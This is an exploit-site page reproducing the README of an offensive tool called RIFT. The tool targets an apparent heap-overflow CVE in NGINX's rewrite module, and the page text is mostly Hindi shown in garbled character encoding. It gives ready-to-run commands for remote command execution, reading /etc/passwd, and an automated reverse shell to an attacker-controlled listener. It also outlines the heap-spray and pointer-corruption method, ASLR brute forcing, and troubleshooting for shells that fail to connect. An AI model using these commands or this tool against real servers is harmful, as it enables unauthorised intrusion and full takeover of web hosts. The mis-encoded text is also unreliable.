Sploitus

Exploit for CVE-2026-42945

kitploit ┬╖ 2026-08-26

Exploit Code

MARKDOWN226 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ARATANE-CVE-2026-42945
# RIFT тАФ рд░рд┐рдореЛрдЯ рдЗрдВрдЬреЗрдХреНрд╢рди рдФрд░ рдлреЙрд▓реНрдЯ рдЯреНрд░рд┐рдЧрд░

**рд▓реЗрдЦрдХ:** Michael Sanji Winaya Prawiradibrata  
**рдПрдЖрдИ рд╕рд╣-рд▓реЗрдЦрдХ:** Varanus тАФ рдореЗрд░реЗ рджреЛрд╕реНрдд

> NGINX рдХреЗ `ngx_http_rewrite_module` рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рд╣реАрдк рдмрдлрд░ рдУрд╡рд░рдлрд╝реНрд▓реЛ рд╢реЛрд╖рдг рдврд╛рдВрдЪрд╛ред  
>  рдПрдХ рдЯреВрд▓ рд░рд┐рдХреЙрдирд┐рд╕реЗрдВрд╕ + рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреЗрд╢рди рдХреЗ рд▓рд┐рдПред рд╢реВрдиреНрдп рдмрд╛рд╣рд░реА рдирд┐рд░реНрднрд░рддрд╛рдПрдБред

* * *

## Repo рдХреА рд╕рд╛рдордЧреНрд░реА

рдлрд╝рд╛рдЗрд▓| рд╡рд┐рд╡рд░рдг  
---|---  
`rift.py`| **рдореБрдЦреНрдп рдЙрдкрдХрд░рдг.** рд░рд┐рдХреЙрди + рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХрд╛ рд╕рдВрдпреЛрдЬрди рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдореЗрдВ (1026 рдкрдВрдХреНрддрд┐рдпрд╛рдБ)ред  
`README.md`| рдпрд╣ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реАрдХрд░рдгред  
  
## рдЖрд╡рд╢реНрдпрдХрддрд╛рдПрдБ

  * Python 3.6+ (рдХреЗрд╡рд▓ stdlib тАФ **рдХреЛрдИ pip рдирд╣реАрдВ, рдХреЛрдИ venv рдирд╣реАрдВ, рдХреЛрдИ рдирд┐рд░реНрднрд░рддрд╛ рдирд╣реАрдВ**)



## рддреНрд╡рд░рд┐рдд рддрд░реАрдХрд╛

root@kitploit:~
    
    
    # 1. Full reconnaissance тАФ deteksi versi, endpoint, celah, strategi
    python3 rift.py --target 10.10.10.10 --recon
    
    # 2. Recon + exploit sekali jalan
    python3 rift.py --target 10.10.10.10 --auto --cmd "id"
    
    # 3. Command execution
    python3 rift.py --target 10.10.10.10 --cmd "whoami"
    
    # 4. Reverse shell (auto-open listener)
    python3 rift.py --target 10.10.10.10 --shell --lhost 10.10.14.5 --lport 4444
    
    # 5. Reverse shell pakai bash (instead of python)
    python3 rift.py --target 10.10.10.10 --shell --shell-type bash --lhost 10.10.14.5 --lport 4444
    
    # 6. Cek vulnerable saja
    python3 rift.py --target 10.10.10.10 --check-only
    

* * *

## рд╕рднреА рдлрд╝реНрд▓реИрдЧреНрд╕

### рдЙрдкрдпреЛрдЧ рдореЛрдб

### рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рд╡рд┐рдХрд▓реНрдк

### рд░рд┐рдХреЙрди рд╡рд┐рдХрд▓реНрдк

* * *

## рдкреНрд░рдореБрдЦ рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдБ

### тЬЕ Auto Reverse Shell

рдЬрдм `--shell` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ:

  1. `--shell-type` рдХреЗ рдЕрдиреБрд╕рд╛рд░ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдкреЗрд▓реЛрдб рдЙрддреНрдкрдиреНрди рдХрд░реЗрдВ
  2. `--lport` рдкрд░ рд▓рд┐рд╕рдирд░ рдЦреЛрд▓реЗрдВ
  3. рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рднреЗрдЬреЗрдВ
  4. рдЬреИрд╕реЗ рд╣реА рд╡рд░реНрдХрд░ рдХреНрд░реИрд╢ рд╣реЛрддрд╛ рд╣реИ тЖТ рд╢реЗрд▓ рдЖ рдЬрд╛рддрд╛ рд╣реИ
  5. **рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд▓рд┐рд╕рдирд░:** netcat (`nc -lvnp`) рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗрдВ, рдлрд╝реЙрд▓рдмреИрдХ Python рд▓рд┐рд╕рдирд░



### тЬЕ ASLR Brute Force Otomatis

рдпрджрд┐ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдкрддрд╛ рд╡рд┐рдлрд▓ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд╣реАрдк рдмреЗрд╕ рдХреЛ ┬▒5 рдЪрд░рдгреЛрдВ ├Ч 0x10000 рд╕реЗ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рддреА рд╣реИ, рдЙрдкрдпреБрдХреНрдд рдкрддрд╛ рдвреВрдВрдврд╝рддреА рд╣реИред рдореИрдиреНрдпреБрдЕрд▓ рд╕реЗрдЯрд┐рдВрдЧ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВред

### тЬЕ Multi-Payload Reverse Shell

4 рдкреНрд░рдХрд╛рд░ рдХреЗ рд╢реЗрд▓ рдкреЗрд▓реЛрдб тАФ `python`, `bash`, `nc`, `php`ред рд▓рдХреНрд╖реНрдп рдкрд░ рдЙрдкрд▓рдмреНрдз рдХрд╛ рдЪрдпрди рдХрд░реЗрдВред

### тЬЕ Full Reconnaissance

`--recon` 5 рдЪрд░рдг рдЪрд▓рд╛рддрд╛ рд╣реИ:

  1. **рдлрд╝рд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯ** тАФ NGINX рд╕рдВрд╕реНрдХрд░рдг, 15 рд╕рд╛рдорд╛рдиреНрдп рдПрдВрдбрдкреЙрдЗрдВрдЯ, рд░реАрд░рд╛рдЗрдЯ рдореЙрдбреНрдпреВрд▓ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдПрдБ
  2. **рдЬрд╛рдирдХрд╛рд░реА рд▓реАрдХ** тАФ рддреНрд░реБрдЯрд┐ рдкреГрд╖реНрда рдкрд░ рдореЗрдореЛрд░реА рдкрддрд╛, рдЯрд╛рдЗрдорд┐рдВрдЧ рд╕рд╛рдЗрдб рдЪреИрдирд▓
  3. **рдПрдВрдбрдкреЙрдЗрдВрдЯ рдкрд░реАрдХреНрд╖рдг** тАФ 6 рдкреНрд░рдХрд╛рд░ рдХреЗ рдкреЗрд▓реЛрдб рдХреЗ рд╕рд╛рде рдПрдВрдбрдкреЙрдЗрдВрдЯ рд╡реНрдпрд╡рд╣рд╛рд░
  4. **рд╡рд░реНрдХрд░ рдХрд╛рдЙрдВрдЯ** тАФ рд╡рд┐рд▓рдВрдмрддрд╛ рдкреИрдЯрд░реНрди рд╕реЗ рд╡рд░реНрдХрд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рдХрд╛ рдЕрдиреБрдорд╛рди
  5. **рд░рдгрдиреАрддрд┐** тАФ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдкрд░рд┐рдгрд╛рдореЛрдВ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдХрд╛рд░реНрд░рд╡рд╛рдИ рдХреА рд╕рд┐рдлрд╝рд╛рд░рд┐рд╢



### тЬЕ Output JSON

`--output json` рдЕрдиреНрдп рдЙрдкрдХрд░рдгреЛрдВ рдХреЗ рд╕рд╛рде рдПрдХреАрдХрд░рдг рдпрд╛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдкрд╛рд░реНрд╕рд┐рдВрдЧ рдХреЗ рд▓рд┐рдПред

* * *

## рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди

рд▓рдХреНрд╖реНрдп рд╢реЛрд╖рдг NGINX рд╣реИ рдЬрд┐рд╕рдореЗрдВ `rewrite` \+ `set` рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдЗрд╕ рдкреНрд░рдХрд╛рд░ рд╣реИ:

root@kitploit:~
    
    
    location ~ ^/api/(.*)$ {
        rewrite ^/api/(.*)$ /internal?migrated=true;  # is_args = 1
        set $original_endpoint $1;                     # length calc pake is_args = 0
    }
    

рдкрд░рд┐рдгрд╛рдо: рдЖрд╡рдВрдЯрд┐рдд рдмрдлрд░ рдмрд╣реБрдд рдЫреЛрдЯрд╛ рд╣реИ, URI рдПрд╕реНрдХреЗрдкрд┐рдВрдЧ (3├Ч рд╡рд┐рд╕реНрддрд╛рд░) рдУрд╡рд░рдлрд╝реНрд▓реЛред

### рдкреНрд░рднрд╛рд╡рд┐рдд рд╕рдВрд╕реНрдХрд░рдг

  * **NGINX Open Source:** 0.6.27 тАУ 1.30.0
  * **NGINX Plus:** R32 тАУ R36
  * **Fixed:** 1.31.0, 1.30.1, R36 P4+, R35 P2+, R32 P6+



* * *

## рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХрд╛ рдХрд╛рдо рдХрд░рдиреЗ рдХрд╛ рддрд░реАрдХрд╛

root@kitploit:~
    
    
    1. HEAP SPRAY тФАтФАтФА POST /spray ├Ч 20 тЖТ рд╣реАрдк рдореЗрдВ рдирдХрд▓реА ngx_pool_cleanup_s рд░реЛрдкреЗрдВ
    2. TRIGGER тФАтФАтФАтФАтФАтФА GET /api/AAAA...++++... тЖТ URI рдПрд╕реНрдХреЗрдкрд┐рдВрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдУрд╡рд░рдлрд╝реНрд▓реЛ
    3. CORRUPT тФАтФАтФАтФАтФАтФА рдУрд╡рд░рдлрд╝реНрд▓реЛ рдЖрд╕рдиреНрди рдкреВрд▓ рдХреЗ рдХреНрд▓реАрдирдЕрдк рдкреЙрдЗрдВрдЯрд░ рдХреЛ рдЕрдзрд┐рд▓реЗрдЦрд┐рдд рдХрд░рддрд╛ рд╣реИ
    4. EXEC тФАтФАтФАтФАтФАтФАтФАтФАтФА рдкреВрд▓ рдирд╖реНрдЯ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ тЖТ system("command") рдХреЙрд▓ рдХрд░реЗрдВ
    

* * *

## рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╕реНрдерд┐рд░рд╛рдВрдХ (`rift.py` рдореЗрдВ рдмрджрд▓реЗ рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ)

* * *

## рдкреВрд░реНрдг рдЙрджрд╛рд╣рд░рдг

### рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрди + рд╡рд┐рд╕реНрддреГрдд

root@kitploit:~
    
    
    python3 rift.py --target 10.10.10.10 --cmd "cat /etc/passwd" --verbose
    

### рдХрд╕реНрдЯрдо рдкрддрд╛ (ASLR рдмрд╛рдИрдкрд╛рд╕)

root@kitploit:~
    
    
    python3 rift.py --target 10.10.10.10 \
        --cmd "id" \
        --heap-base 0x555555659000 \
        --libc-base 0x7ffff77ba000
    

### рдХрдИ рдкреНрд░рдпрд╛рд╕

root@kitploit:~
    
    
    python3 rift.py --target 10.10.10.10 --cmd "id" --tries 50
    

### рд░рд┐рдХреЙрди + JSON

root@kitploit:~
    
    
    python3 rift.py --target 10.10.10.10 --recon --output json
    

### рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЙрддреНрдкрдиреНрди рдХрд░реЗрдВ

root@kitploit:~
    
    
    python3 rift.py --target 10.10.10.10 --generate-exploit
    # тЖТ exploit_10_10_10_10.py
    

* * *

## рд╕рдорд╕реНрдпрд╛ рдирд┐рд╡рд╛рд░рдг

### "Target doesn't appear to be running NGINX"

  * рдкреЛрд░реНрдЯ рдЬрд╛рдБрдЪреЗрдВ: `nc -zv <IP> 80`
  * рджреВрд╕рд░рд╛ рдкреЛрд░реНрдЯ рдЖрдЬрд╝рдорд╛рдПрдБ: `--port 8080`, `--port 443`
  * рд╢рд╛рдпрдж WAF/рдкреНрд░реЙрдХреНрд╕реА рдХреЗ рдкреАрдЫреЗ



### "All exploitation attempts failed"

  1. ASLR рд╕рдВрднрд╡рддрдГ рд╕рдХреНрд░рд┐рдп рд╣реИ тАФ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд ASLR рд╕реНрд▓рд╛рдЗрдбрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП `--auto` рдЖрдЬрд╝рдорд╛рдПрдБ
  2. NGINX рд╕рдВрд╕реНрдХрд░рдг рд╢рд╛рдпрдж рдкреИрдЪ рдХрд┐рдпрд╛ рдЬрд╛ рдЪреБрдХрд╛ рд╣реИ (> 1.30.1)
  3. NGINX рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рд╢рд╛рдпрдж рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдирд╣реАрдВ рд╣реИ (rewrite+set рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░рддрд╛)
  4. рдкреНрд░рддрд┐ рдкреНрд░рдпрд╛рд╕ рд╡рд┐рд╡рд░рдг рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП `--verbose` рдЖрдЬрд╝рдорд╛рдПрдБ



### Shell рдХрдиреЗрдХреНрдЯ рдирд╣реАрдВ рд╣реЛрддрд╛

  * рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдпрд░рд╡реЙрд▓ рдЬрд╛рдБрдЪреЗрдВ: `sudo ufw allow 4444`
  * `--lhost` рдЬрд╛рдБрдЪреЗрдВ тАФ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ рд╕реНрдерд╛рдиреАрдп IP рд╕рд╣реА рд╣реИ
  * `--shell-type bash` рдпрд╛ `--shell-type nc` рдЖрдЬрд╝рдорд╛рдПрдБ



* * *

## рдЕрд╕реНрд╡реАрдХрд░рдг

рдХреЗрд╡рд▓ рд╢реИрдХреНрд╖рд┐рдХ рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдФрд░ рдЕрдзрд┐рдХреГрдд рд╕реБрд░рдХреНрд╖рд╛ рдкрд░реАрдХреНрд╖рдг рдХреЗ рд▓рд┐рдП рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рд╣реИред  
рдЕрдирдзрд┐рдХреГрдд рдкреНрд░рдгрд╛рд▓реА рдХреЗ рд╡рд┐рд░реБрджреНрдз рдЙрдкрдпреЛрдЧ рдЕрд╡реИрдз рд╣реИред

┬й 2026 Michael Sanji Winaya Prawiradibrata  
рдПрдЖрдИ рд╕рд╣-рд▓реЗрдЦрдХ: Varanus